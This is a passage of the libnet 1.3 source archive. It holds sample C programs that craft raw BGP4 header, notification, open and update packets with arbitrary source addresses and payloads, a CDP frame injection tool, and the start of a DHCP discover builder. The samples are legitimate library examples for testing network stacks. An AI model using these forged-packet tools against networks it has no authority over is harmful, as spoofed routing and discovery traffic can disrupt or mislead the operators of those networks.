= LIBNET_BGP4_HEADER_H + payload_s; t = libnet_build_bgp4_header( marker, /* marker */ length, /* length */ type, /* message type */ payload, /* payload */ payload_s, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (t == -1) { fprintf(stderr, "Can't build BGP4 header: %s\n", libnet_geterror(l)); goto bad; } length+=LIBNET_TCP_H; t = libnet_build_tcp( 0x6666, /* source port */ 179, /* destination port */ 0x01010101, /* sequence number */ 0x02020202, /* acknowledgement num */ TH_SYN, /* control flags */ 32767, /* window size */ 0, /* checksum */ 0, /* urgent pointer */ length, /* TCP packet size */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (t == -1) { fprintf(stderr, "Can't build TCP header: %s\n", libnet_geterror(l)); goto bad; } length+=LIBNET_IPV4_H; t = libnet_build_ipv4( length, /* length */ 0, /* TOS */ 242, /* IP ID */ 0, /* IP Frag */ 64, /* TTL */ IPPROTO_TCP, /* protocol */ 0, /* checksum */ src_ip, /* source IP */ dst_ip, /* destination IP */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (t == -1) { fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l)); goto bad; } /* * Write it to the wire. */ c = libnet_write(l); if (c == -1) { fprintf(stderr, "Write error: %s\n", libnet_geterror(l)); goto bad; } else { fprintf(stderr, "Wrote %d byte TCP packet; check the wire.\n", c); } libnet_destroy(l); return (EXIT_SUCCESS); bad: libnet_destroy(l); return (EXIT_FAILURE); } void usage(char *name) { fprintf(stderr, "usage: %s -s source_ip -d destination_ip" " [-m marker] [-p payload] [-t BGP type]\n", name); } libnet-1.3/sample/bgp4_notification.c0000664000175000017500000002067614506572036016120 0ustar syqsyq/* * * libnet 1.1 * Build a BGP4 notification with what you want as payload * * Copyright (c) 2003 Frédéric Raynal * All rights reserved. * * * Example: * * Sending of a BGP NOTIFICATION : BGP4_OPEN_MESSAGE_ERROR / BGP4_AUTHENTICATION_FAILURE * * # ./bgp4_hdr -s 1.1.1.1 -d 2.2.2.2 -e 2 -c 5 * libnet 1.1 packet shaping: BGP4 notification + payload[raw] * Wrote 61 byte TCP packet; check the wire. * * 14:37:45.398786 1.1.1.1.26214 > 2.2.2.2.179: S [tcp sum ok] * 16843009:16843030(21) win 32767: BGP (ttl 64, id 242, len 61) * 0x0000 4500 003d 00f2 0000 4006 73c4 0101 0101 E..=....@.s..... * 0x0010 0202 0202 6666 00b3 0101 0101 0202 0202 ....ff.......... * 0x0020 5002 7fff ac8a 0000 0101 0101 0101 0101 P............... * 0x0030 0101 0101 0101 0101 0015 0302 05 ............. * * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #if (HAVE_CONFIG_H) #include "../include/config.h" #endif #include "./libnet_test.h" int main(int argc, char *argv[]) { int c; libnet_t *l; u_long src_ip, dst_ip, length; libnet_ptag_t t = 0; char errbuf[LIBNET_ERRBUF_SIZE]; u_char *payload = NULL; u_long payload_s = 0; u_char marker[LIBNET_BGP4_MARKER_SIZE]; u_char code, subcode; printf("libnet 1.1 packet shaping: BGP4 notification + payload[raw]\n"); /* * Initialize the library. Root priviledges are required. */ l = libnet_init( LIBNET_RAW4, /* injection type */ NULL, /* network interface */ errbuf); /* error buffer */ if (l == NULL) { fprintf(stderr, "libnet_init() failed: %s", errbuf); exit(EXIT_FAILURE); } src_ip = 0; dst_ip = 0; code = subcode = 0; memset(marker, 0x1, LIBNET_BGP4_MARKER_SIZE); while ((c = getopt(argc, argv, "d:s:t:m:p:c:e:")) != EOF) { switch (c) { /* * We expect the input to be of the form `ip.ip.ip.ip.port`. We * point cp to the last dot of the IP address/port string and * then separate them with a NULL byte. The optarg now points to * just the IP address, and cp points to the port. */ case 'd': if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) { fprintf(stderr, "Bad destination IP address: %s\n", optarg); exit(EXIT_FAILURE); } break; case 's': if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) { fprintf(stderr, "Bad source IP address: %s\n", optarg); exit(EXIT_FAILURE); } break; case 'm': memcpy(marker, optarg, LIBNET_BGP4_MARKER_SIZE); break; case 'e': code = atoi(optarg); break; case 'c': subcode = atoi(optarg); break; case 'p': payload = (u_char *)optarg; payload_s = strlen((char *)optarg); break; default: exit(EXIT_FAILURE); } } if (!src_ip || !dst_ip) { usage(argv[0]); exit(EXIT_FAILURE); } length = LIBNET_BGP4_NOTIFICATION_H + payload_s; t = libnet_build_bgp4_notification( code, /* error code */ subcode, /* error subcode */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (t == -1) { fprintf(stderr, "Can't build BGP4 notification: %s\n", libnet_geterror(l)); goto bad; } length+=LIBNET_BGP4_HEADER_H; t = libnet_build_bgp4_header( marker, /* marker */ length, /* length */ LIBNET_BGP4_NOTIFICATION, /* message type */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (t == -1) { fprintf(stderr, "Can't build BGP4 header: %s\n", libnet_geterror(l)); goto bad; } length+=LIBNET_TCP_H; t = libnet_build_tcp( 0x6666, /* source port */ 179, /* destination port */ 0x01010101, /* sequence number */ 0x02020202, /* acknowledgement num */ TH_SYN, /* control flags */ 32767, /* window size */ 0, /* checksum */ 0, /* urgent pointer */ length, /* TCP packet size */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (t == -1) { fprintf(stderr, "Can't build TCP header: %s\n", libnet_geterror(l)); goto bad; } length+=LIBNET_IPV4_H; t = libnet_build_ipv4( length, /* length */ 0, /* TOS */ 242, /* IP ID */ 0, /* IP Frag */ 64, /* TTL */ IPPROTO_TCP, /* protocol */ 0, /* checksum */ src_ip, /* source IP */ dst_ip, /* destination IP */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (t == -1) { fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l)); goto bad; } /* * Write it to the wire. */ c = libnet_write(l); if (c == -1) { fprintf(stderr, "Write error: %s\n", libnet_geterror(l)); goto bad; } else { fprintf(stderr, "Wrote %d byte TCP packet; check the wire.\n", c); } libnet_destroy(l); return (EXIT_SUCCESS); bad: libnet_destroy(l); return (EXIT_FAILURE); } void usage(char *name) { fprintf(stderr, "usage: %s -s source_ip -d destination_ip" " [-m marker] [-e error] [-c subcode] [-p payload] \n", name); } libnet-1.3/sample/bgp4_open.c0000664000175000017500000002240214506572036014360 0ustar syqsyq/* * * libnet 1.1 * Build a BGP4 open message with what you want as payload * * Copyright (c) 2003 Frédéric Raynal * All rights reserved. * * Examples: * * minimal BGP OPEN message: * * ./bgp4_open -s 1.1.1.1 -d 2.2.2.2 * * 12:17:00.879139 1.1.1.1.26214 > 2.2.2.2.179: S [tcp sum ok] * 16843009:16843038(29) win 32767: BGP (ttl 64, id 242, len 69) * 0x0000 4500 0045 00f2 0000 4006 73bc 0101 0101 E..E....@.s..... * 0x0010 0202 0202 6666 00b3 0101 0101 0202 0202 ....ff.......... * 0x0020 5002 7fff ad2e 0000 0101 0101 0101 0101 P............... * 0x0030 0101 0101 0101 0101 001d 0104 1234 5678 .............4Vx * 0x0040 dead beef 00 ..... * * * use payload as BGP option for authentication: * * ./bgp4_open -s 1.1.1.1 -d 2.2.2.2 -p `printf "\x01\x01\x00"` -S 3 * * 12:15:48.102808 1.1.1.1.26214 > 2.2.2.2.179: S [tcp sum ok] * 16843009:16843041(32) win 32767: BGP (ttl 64, id 242, len 72) * 0x0000 4500 0048 00f2 0000 4006 73b9 0101 0101 E..H....@.s..... * 0x0010 0202 0202 6666 00b3 0101 0101 0202 0202 ....ff.......... * 0x0020 5002 7fff a927 0000 0101 0101 0101 0101 P....'.......... * 0x0030 0101 0101 0101 0101 0020 0104 1234 5678 .............4Vx * 0x0040 dead beef 0301 0100 ........ * * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #if (HAVE_CONFIG_H) #include "../include/config.h" #endif #include "./libnet_test.h" int main(int argc, char *argv[]) { int c; libnet_t *l; u_long src_ip, dst_ip, length; libnet_ptag_t t = 0; char errbuf[LIBNET_ERRBUF_SIZE]; u_char *payload = NULL; u_long payload_s = 0; u_char marker[LIBNET_BGP4_MARKER_SIZE]; printf("libnet 1.1 packet shaping: BGP4 open + payload[raw]\n"); /* * Initialize the library. Root priviledges are required. */ l = libnet_init( LIBNET_RAW4, /* injection type */ NULL, /* network interface */ errbuf); /* error buffer */ if (l == NULL) { fprintf(stderr, "libnet_init() failed: %s", errbuf); exit(EXIT_FAILURE); } src_ip = 0; dst_ip = 0; memset(marker, 0x1, LIBNET_BGP4_MARKER_SIZE); while ((c = getopt(argc, argv, "d:s:t:m:p:S:")) != EOF) { switch (c) { /* * We expect the input to be of the form `ip.ip.ip.ip.port`. We * point cp to the last dot of the IP address/port string and * then separate them with a NULL byte. The optarg now points to * just the IP address, and cp points to the port. */ case 'd': if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) { fprintf(stderr, "Bad destination IP address: %s\n", optarg); exit(EXIT_FAILURE); } break; case 's': if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) { fprintf(stderr, "Bad source IP address: %s\n", optarg); exit(EXIT_FAILURE); } break; case 'm': memcpy(marker, optarg, LIBNET_BGP4_MARKER_SIZE); break; case 'p': payload = (u_char *)optarg; break; case 'S': payload_s = atoi(optarg); break; default: exit(EXIT_FAILURE); } } if (!src_ip || !dst_ip) { usage(argv[0]); goto bad; } if (payload_s && !payload) { payload = (u_char *)malloc(payload_s); if (!payload) { printf("memory allocation failed (%ld bytes requested)\n", payload_s); goto bad; } memset(payload, 0x41, payload_s); } if (payload && !payload_s) { payload_s = strlen((char *)payload); } length = LIBNET_BGP4_OPEN_H + payload_s; t = libnet_build_bgp4_open( 4, /* version */ 0x3412, /* my AS */ 0x7856, /* hold time */ 0xefbeadde, /* BGP id */ payload_s, /* options length */ payload, /* payload */ payload_s, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (t == -1) { fprintf(stderr, "Can't build BGP4 open header: %s\n", libnet_geterror(l)); goto bad; } length+=LIBNET_BGP4_HEADER_H; t = libnet_build_bgp4_header( marker, /* marker */ length, /* length */ LIBNET_BGP4_OPEN, /* message type */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (t == -1) { fprintf(stderr, "Can't build BGP4 header: %s\n", libnet_geterror(l)); goto bad; } length+=LIBNET_TCP_H; t = libnet_build_tcp( 0x6666, /* source port */ 179, /* destination port */ 0x01010101, /* sequence number */ 0x02020202, /* acknowledgement num */ TH_SYN, /* control flags */ 32767, /* window size */ 0, /* checksum */ 0, /* urgent pointer */ length, /* TCP packet size */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (t == -1) { fprintf(stderr, "Can't build TCP header: %s\n", libnet_geterror(l)); goto bad; } length+=LIBNET_IPV4_H; t = libnet_build_ipv4( length, /* length */ 0, /* TOS */ 242, /* IP ID */ 0, /* IP Frag */ 64, /* TTL */ IPPROTO_TCP, /* protocol */ 0, /* checksum */ src_ip, /* source IP */ dst_ip, /* destination IP */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (t == -1) { fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l)); goto bad; } /* * Write it to the wire. */ c = libnet_write(l); if (c == -1) { fprintf(stderr, "Write error: %s\n", libnet_geterror(l)); goto bad; } else { fprintf(stderr, "Wrote %d byte TCP packet; check the wire.\n", c); } libnet_destroy(l); return (EXIT_SUCCESS); bad: libnet_destroy(l); return (EXIT_FAILURE); } void usage(char *name) { fprintf(stderr, "usage: %s -s source_ip -d destination_ip" " [-m marker] [-p payload] [-S payload size]\n", name); } libnet-1.3/sample/bgp4_update.c0000664000175000017500000003111114506572036014676 0ustar syqsyq/* * * libnet 1.1 * Build a BGP4 update message with what you want as payload * * Copyright (c) 2003 Frédéric Raynal * All rights reserved. * * Examples: * * empty BGP UPDATE message: * * # ./bgp4_update -s 1.1.1.1 -d 2.2.2.2 * libnet 1.1 packet shaping: BGP4 update + payload[raw] * Wrote 63 byte TCP packet; check the wire. * * 13:44:29.216135 1.1.1.1.26214 > 2.2.2.2.179: S [tcp sum ok] * 16843009:16843032(23) win 32767: BGP (ttl 64, id 242, len 63) * 0x0000 4500 003f 00f2 0000 4006 73c2 0101 0101 E..?....@.s..... * 0x0010 0202 0202 6666 00b3 0101 0101 0202 0202 ....ff.......... * 0x0020 5002 7fff b288 0000 0101 0101 0101 0101 P............... * 0x0030 0101 0101 0101 0101 0017 0200 0000 00 ............... * * * BGP UPDATE with Path Attributes and Unfeasible Routes Length * * # ./bgp4_update -s 1.1.1.1 -d 2.2.2.2 -a `printf "\x01\x02\x03"` -A 3 -W 13 * libnet 1.1 packet shaping: BGP4 update + payload[raw] * Wrote 79 byte TCP packet; check the wire. * * 13:45:59.579901 1.1.1.1.26214 > 2.2.2.2.179: S [tcp sum ok] * 16843009:16843048(39) win 32767: BGP (ttl 64, id 242, len 79) * 0x0000 4500 004f 00f2 0000 4006 73b2 0101 0101 E..O....@.s..... * 0x0010 0202 0202 6666 00b3 0101 0101 0202 0202 ....ff.......... * 0x0020 5002 7fff 199b 0000 0101 0101 0101 0101 P............... * 0x0030 0101 0101 0101 0101 0027 0200 0d41 4141 .........'...AAA * 0x0040 4141 4141 4141 4141 4141 0003 0102 03 AAAAAAAAAA..... * * * BGP UPDATE with Reachability Information * * # ./bgp4_update -s 1.1.1.1 -d 2.2.2.2 -I 7 * libnet 1.1 packet shaping: BGP4 update + payload[raw] * Wrote 70 byte TCP packet; check the wire. * * 13:49:02.829225 1.1.1.1.26214 > 2.2.2.2.179: S [tcp sum ok] * 16843009:16843039(30) win 32767: BGP (ttl 64, id 242, len 70) * 0x0000 4500 0046 00f2 0000 4006 73bb 0101 0101 E..F....@.s..... * 0x0010 0202 0202 6666 00b3 0101 0101 0202 0202 ....ff.......... * 0x0020 5002 7fff e86d 0000 0101 0101 0101 0101 P....m.......... * 0x0030 0101 0101 0101 0101 001e 0200 0000 0043 ...............C * 0x0040 4343 4343 4343 CCCCCC * * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #if (HAVE_CONFIG_H) #include "../include/config.h" #endif #include "./libnet_test.h" #define set_ptr_and_size(ptr, size, val, flag) \ if (size && !ptr) \ { \ ptr = (u_char *)malloc(size); \ if (!ptr) \ { \ printf("memory allocation failed (%u bytes requested)\n", size); \ goto bad; \ } \ memset(ptr, val, size); \ flag = 1; \ } \ \ if (ptr && !size) \ { \ size = strlen((char *)ptr); \ } int main(int argc, char *argv[]) { int c; libnet_t *l; u_long src_ip, dst_ip, length; libnet_ptag_t t = 0; char errbuf[LIBNET_ERRBUF_SIZE]; u_char *payload = NULL; u_long payload_s = 0; u_char marker[LIBNET_BGP4_MARKER_SIZE]; u_short u_rt_l = 0; u_char *withdraw_rt = NULL; char flag_w = 0; u_short attr_l = 0; u_char *attr = NULL; char flag_a = 0; u_short info_l = 0; u_char *info = NULL; char flag_i = 0; printf("libnet 1.1 packet shaping: BGP4 update + payload[raw]\n"); /* * Initialize the library. Root priviledges are required. */ l = libnet_init( LIBNET_RAW4, /* injection type */ NULL, /* network interface */ errbuf); /* error buffer */ if (l == NULL) { fprintf(stderr, "libnet_init() failed: %s", errbuf); exit(EXIT_FAILURE); } src_ip = 0; dst_ip = 0; memset(marker, 0x1, LIBNET_BGP4_MARKER_SIZE); while ((c = getopt(argc, argv, "d:s:t:m:p:w:W:a:A:i:I:")) != EOF) { switch (c) { /* * We expect the input to be of the form `ip.ip.ip.ip.port`. We * point cp to the last dot of the IP address/port string and * then separate them with a NULL byte. The optarg now points to * just the IP address, and cp points to the port. */ case 'd': if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) { fprintf(stderr, "Bad destination IP address: %s\n", optarg); exit(EXIT_FAILURE); } break; case 's': if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) { fprintf(stderr, "Bad source IP address: %s\n", optarg); exit(EXIT_FAILURE); } break; case 'p': payload = (u_char *)optarg; payload_s = strlen((char *)payload); break; case 'w': withdraw_rt = (u_char *)optarg; break; case 'W': u_rt_l = atoi(optarg); break; case 'a': attr = (u_char *)optarg; break; case 'A': attr_l = atoi(optarg); break; case 'i': info = (u_char *)optarg; break; case 'I': info_l = atoi(optarg); break; default: exit(EXIT_FAILURE); } } if (!src_ip || !dst_ip) { usage(argv[0]); goto bad; } set_ptr_and_size(withdraw_rt, u_rt_l, 0x41, flag_w); set_ptr_and_size(attr, attr_l, 0x42, flag_a); set_ptr_and_size(info, info_l, 0x43, flag_i); /* * BGP4 update messages are "dynamic" are fields have variable size. The only * sizes we know are those for the 2 first fields ... so we need to count them * plus their value. */ length = LIBNET_BGP4_UPDATE_H + u_rt_l + attr_l + info_l + payload_s; t = libnet_build_bgp4_update( u_rt_l, /* Unfeasible Routes Length */ withdraw_rt, /* Withdrawn Routes */ attr_l, /* Total Path Attribute Length */ attr, /* Path Attributes */ info_l, /* Network Layer Reachability Information length */ info, /* Network Layer Reachability Information */ payload, /* payload */ payload_s, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (t == -1) { fprintf(stderr, "Can't build BGP4 update header: %s\n", libnet_geterror(l)); goto bad; } length+=LIBNET_BGP4_HEADER_H; t = libnet_build_bgp4_header( marker, /* marker */ length, /* length */ LIBNET_BGP4_UPDATE, /* message type */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (t == -1) { fprintf(stderr, "Can't build BGP4 header: %s\n", libnet_geterror(l)); goto bad; } length+=LIBNET_TCP_H; t = libnet_build_tcp( 0x6666, /* source port */ 179, /* destination port */ 0x01010101, /* sequence number */ 0x02020202, /* acknowledgement num */ TH_SYN, /* control flags */ 32767, /* window size */ 0, /* checksum */ 0, /* urgent pointer */ length, /* TCP packet size */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (t == -1) { fprintf(stderr, "Can't build TCP header: %s\n", libnet_geterror(l)); goto bad; } length+=LIBNET_IPV4_H; t = libnet_build_ipv4( length, /* length */ 0, /* TOS */ 242, /* IP ID */ 0, /* IP Frag */ 64, /* TTL */ IPPROTO_TCP, /* protocol */ 0, /* checksum */ src_ip, /* source IP */ dst_ip, /* destination IP */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (t == -1) { fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l)); goto bad; } /* * Write it to the wire. */ c = libnet_write(l); if (c == -1) { fprintf(stderr, "Write error: %s\n", libnet_geterror(l)); goto bad; } else { fprintf(stderr, "Wrote %d byte TCP packet; check the wire.\n", c); } if (flag_w) free(withdraw_rt); if (flag_a) free(attr); if (flag_i) free(info); libnet_destroy(l); return (EXIT_SUCCESS); bad: if (flag_w) free(withdraw_rt); if (flag_a) free(attr); if (flag_i) free(info); libnet_destroy(l); return (EXIT_FAILURE); } void usage(char *name) { fprintf(stderr, "usage: %s -s source_ip -d destination_ip \n" " [-m marker] [-p payload] [-S payload size]\n" " [-w Withdrawn Routes] [-W Unfeasible Routes Length]\n" " [-a Path Attributes] [-A Attribute Length]\n" " [-i Reachability Information] [-I Reachability Information length]\n", name); } libnet-1.3/sample/cdp.c0000664000175000017500000001260214506572036013252 0ustar syqsyq/* * $Id: cdp.c,v 1.3 2004/11/09 07:05:07 mike Exp $ * * cdppoke * CDP information injection tool * Released as part of the MXFP Layer 2 Toolkit * http://www.packetfactory.net/MXFP * * Copyright (c) 2004 Mike D. Schiffman * Copyright (c) 2004 Jeremy Rauch * * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #if (HAVE_CONFIG_H) #include "../include/config.h" #endif #include "./libnet_test.h" int main(int argc, char *argv[]) { int c, len, index; libnet_t *l; libnet_ptag_t t; u_char *value; u_char values[100]; u_short tmp; char errbuf[LIBNET_ERRBUF_SIZE]; uint8_t oui[3] = { 0x00, 0x00, 0x0c }; uint8_t cdp_mac[6] = {0x01, 0x0, 0xc, 0xcc, 0xcc, 0xcc}; if (argc != 3) { fprintf(stderr, "usage %s device device-id\n", argv[0]); return (EXIT_FAILURE); } fprintf(stderr, "cdppoke...\n"); l = libnet_init(LIBNET_LINK, argv[1], errbuf); if (l == NULL) { fprintf(stderr, "libnet_init() failed: %s", errbuf); return (EXIT_FAILURE); } /* build the TLV's by hand until we get something better */ memset(values, 0, sizeof(values)); index = 0; tmp = htons(LIBNET_CDP_VERSION); memcpy(values, &tmp, 2); index += 2; tmp = htons(9); /* length of string below plus type and length fields */ memcpy(values + index, &tmp, 2); index += 2; memcpy(values + index, (u_char *)"1.1.1", 5); index += 5; /* this TLV is handled by the libnet builder */ value = (u_char *)argv[2]; len = strlen(argv[2]); /* build CDP header */ t = libnet_build_cdp( 1, /* version */ 30, /* time to live */ 0x0, /* checksum */ 0x1, /* type */ len, /* length */ value, /* value */ values, /* payload */ index, /* payload size */ l, /* libnet context */ 0); /* libnet ptag */ if (t == -1) { fprintf(stderr, "Can't build CDP header: %s\n", libnet_geterror(l)); goto bad; } /* build 802.2 header */ t = libnet_build_802_2snap( LIBNET_SAP_SNAP, /* SAP SNAP code */ LIBNET_SAP_SNAP, /* SAP SNAP code */ 0x03, /* control */ oui, /* OUI */ 0x2000, /* upper layer protocol type */ NULL, /* payload */ 0, /* payload size */ l, /* libnet context */ 0); /* libnet ptag */ if (t == -1) { fprintf(stderr, "Can't build SNAP header: %s\n", libnet_geterror(l)); goto bad; } /* build 802.3 header */ t = libnet_build_802_3( cdp_mac, /* ethernet destination */ (uint8_t *)libnet_get_hwaddr(l), /* ethernet source */ LIBNET_802_2_H + LIBNET_802_2SNAP_H + LIBNET_CDP_H, /* packet len */ NULL, /* payload */ 0, /* payload size */ l, /* libnet context */ 0); /* libnet ptag */ if (t == -1) { fprintf(stderr, "Can't build 802.3 header: %s\n", libnet_geterror(l)); goto bad; } /* write the packet out */ c = libnet_write(l); if (c == -1) { fprintf(stderr, "Write error: %s\n", libnet_geterror(l)); goto bad; } else { fprintf(stderr, "Wrote %d byte CDP frame \"%s\"\n", c, argv[2]); } libnet_destroy(l); return (EXIT_SUCCESS); bad: libnet_destroy(l); return (EXIT_FAILURE); } libnet-1.3/sample/dhcp_discover.c0000664000175000017500000002207314506572036015323 0ustar syqsyq/* * $Id: dhcp_discover.c,v 1.3 2004/01/03 20:31:01 mike Exp $ * * libnet 1.1 * Build a DHCP discover packet * To view: /usr/sbin/tcpdump -vvvvven -s 4096 'port 67 or port 68' * * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #include "./libnet_test.h" void usage(char *prog) { fprintf(stderr, "Usage: %s interface\n", prog); exit(1); } int main(int argc, char *argv[]) { char *intf; u_long src_ip, options_len, orig_len; int i; libnet_t *l; libnet_ptag_t t; libnet_ptag_t ip; libnet_ptag_t udp; libnet_ptag_t dhcp; struct libnet_ether_addr *ethaddr; struct libnet_stats ls; char errbuf[LIBNET_ERRBUF_SIZE]; u_char options_req[] = { LIBNET_DHCP_SUBNETMASK, LIBNET_DHCP_BROADCASTADDR, LIBNET_DHCP_TIMEOFFSET, 